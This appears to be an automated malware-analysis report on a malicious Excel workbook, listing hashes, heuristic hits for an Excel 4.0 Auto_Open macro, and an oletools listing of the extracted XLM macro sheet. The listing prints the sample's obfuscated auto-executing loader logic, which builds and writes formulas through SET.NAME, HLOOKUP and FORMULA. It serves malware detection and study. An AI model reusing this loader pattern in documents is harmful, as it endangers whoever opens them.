Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 faf65a750873eb52…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:02 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 5065d79dc701b6b327286d19c525816f SHA-1: fa076d6ecaec674600d7e96b4e4399725c29c7c4 SHA-256: faf65a750873eb526963f20b4d7e40c479828278c9898e02eb74d989f26d1523
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6507 bytes
SHA-256: 3106cde0d739bf4ec4f17fa9635cebad5242ef1579d02613dde4b9875e88241c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LBnnCfT
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E149 
' 0018     20 LABEL : Cell Value, String Constant - cjFSP len=0 
' 0018     27 LABEL : Cell Value, String Constant - COSIzZHPnoql len=0 
' 0018     27 LABEL : Cell Value, String Constant - eeHEJvFAknQu len=0 
' 0018     24 LABEL : Cell Value, String Constant - EErUOvAHY len=0 
' 0018     22 LABEL : Cell Value, String Constant - HSeCZHH len=0 
' 0018     27 LABEL : Cell Value, String Constant - KCmvGEgsAyVP len=0 
' 0018     21 LABEL : Cell Value, String Constant - klduXq len=0 
' 0018     22 LABEL : Cell Value, String Constant - lQhIzzz len=0 
' 0018     22 LABEL : Cell Value, String Constant - MJUqFgy len=0 
' 0018     20 LABEL : Cell Value, String Constant - oVbHO len=0 
' 0018     23 LABEL : Cell Value, String Constant - qjEnqrvN len=0 
' 0018     26 LABEL : Cell Value, String Constant - RTzKTWpQaoE len=0 
' 0018     22 LABEL : Cell Value, String Constant - rzItMaa len=0 
' 0018     20 LABEL : Cell Value, String Constant - tjhKP len=0 
' 0018     26 LABEL : Cell Value, String Constant - TOKuCiGGqjq len=0 
' 0018     26 LABEL : Cell Value, String Constant - tROSOwbumDz len=0 
' 0018     20 LABEL : Cell Value, String Constant - uzolo len=0 
' 0018     24 LABEL : Cell Value, String Constant - XEsOMSTJq len=0 
' 0018     26 LABEL : Cell Value, String Constant - yqQakcJQMDI len=0 
' 0018     22 LABEL : Cell Value, String Constant - yzXxuyl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LBnnCfT,E53,"SET.NAME("RTzKTWpQaoE",VALUE("0"))",""
'  LBnnCfT,E56,"SET.NAME("tROSOwbumDz",RTzKTWpQaoE)",""
'  LBnnCfT,E60,"SET.NAME("HSeCZHH",RTzKTWpQaoE)",""
'  LBnnCfT,E63,"SET.NAME("oVbHO",COUNTA(lQhIzzz))",""
'  LBnnCfT,E65,"SET.NAME("MJUqFgy",COUNTA(KCmvGEgsAyVP))",""
'  LBnnCfT,E69,[],""
'  LBnnCfT,E72,"SET.NAME("rzItMaa","")",""
'  LBnnCfT,E77,"tROSOwbumDz",""
'  LBnnCfT,E81,"SET.NAME("qjEnqrvN",HLOOKUP("*",lQhIzzz,tROSOwbumDz,FALSE))",""
'  LBnnCfT,E83,"EErUOvAHY",""
'  LBnnCfT,E86,"SET.NAME("cjFSP",RTzKTWpQaoE)",""
'  LBnnCfT,E91,[],""
'  LBnnCfT,E93,"cjFSP",""
'  LBnnCfT,E96,"eeHEJvFAknQu",""
'  LBnnCfT,E100,"COSIzZHPnoql",""
'  LBnnCfT,E103,"klduXq",""
'  LBnnCfT,E108,"SET.NAME("tjhKP",VALUE(HLOOKUP("*",KCmvGEgsAyVP,klduXq,FALSE)))",""
'  LBnnCfT,E111,"uzolo",""
'  LBnnCfT,E116,"rzItMaa",""
'  LBnnCfT,E121,"HSeCZHH",""
'  LBnnCfT,E126,NEXT(),""
'  LBnnCfT,E129,"TOKuCiGGqjq",""
'  LBnnCfT,E131,"SET.NAME("f",INT(T(FORMULA(T(rzItMaa)&"",""&T(TOKuCiGGqjq)))))",""
'  LBnnCfT,E136,"yzXxuyl",""
'  LBnnCfT,E141,NEXT(),""
'  LBnnCfT,E144,RETURN(),""
'  LBnnCfT,E177,"SET.NAME("yqQakcJQMDI",E53)",""
'  LBnnCfT,E180,"lQhIzzz",""
'  LBnnCfT,E182,"SET.NAME("KCmvGEgsAyVP",R97C15)",""
'  LBnnCfT,E186,"SET.NAME("yzXxuyl",191)",""
'  LBnnCfT,E188,"SET.NAME("XEsOMSTJq",5)",""
'  LBnnCfT,E190,yqQakcJQMDI(),""
'  LBnnCfT,E191,HALT(),""

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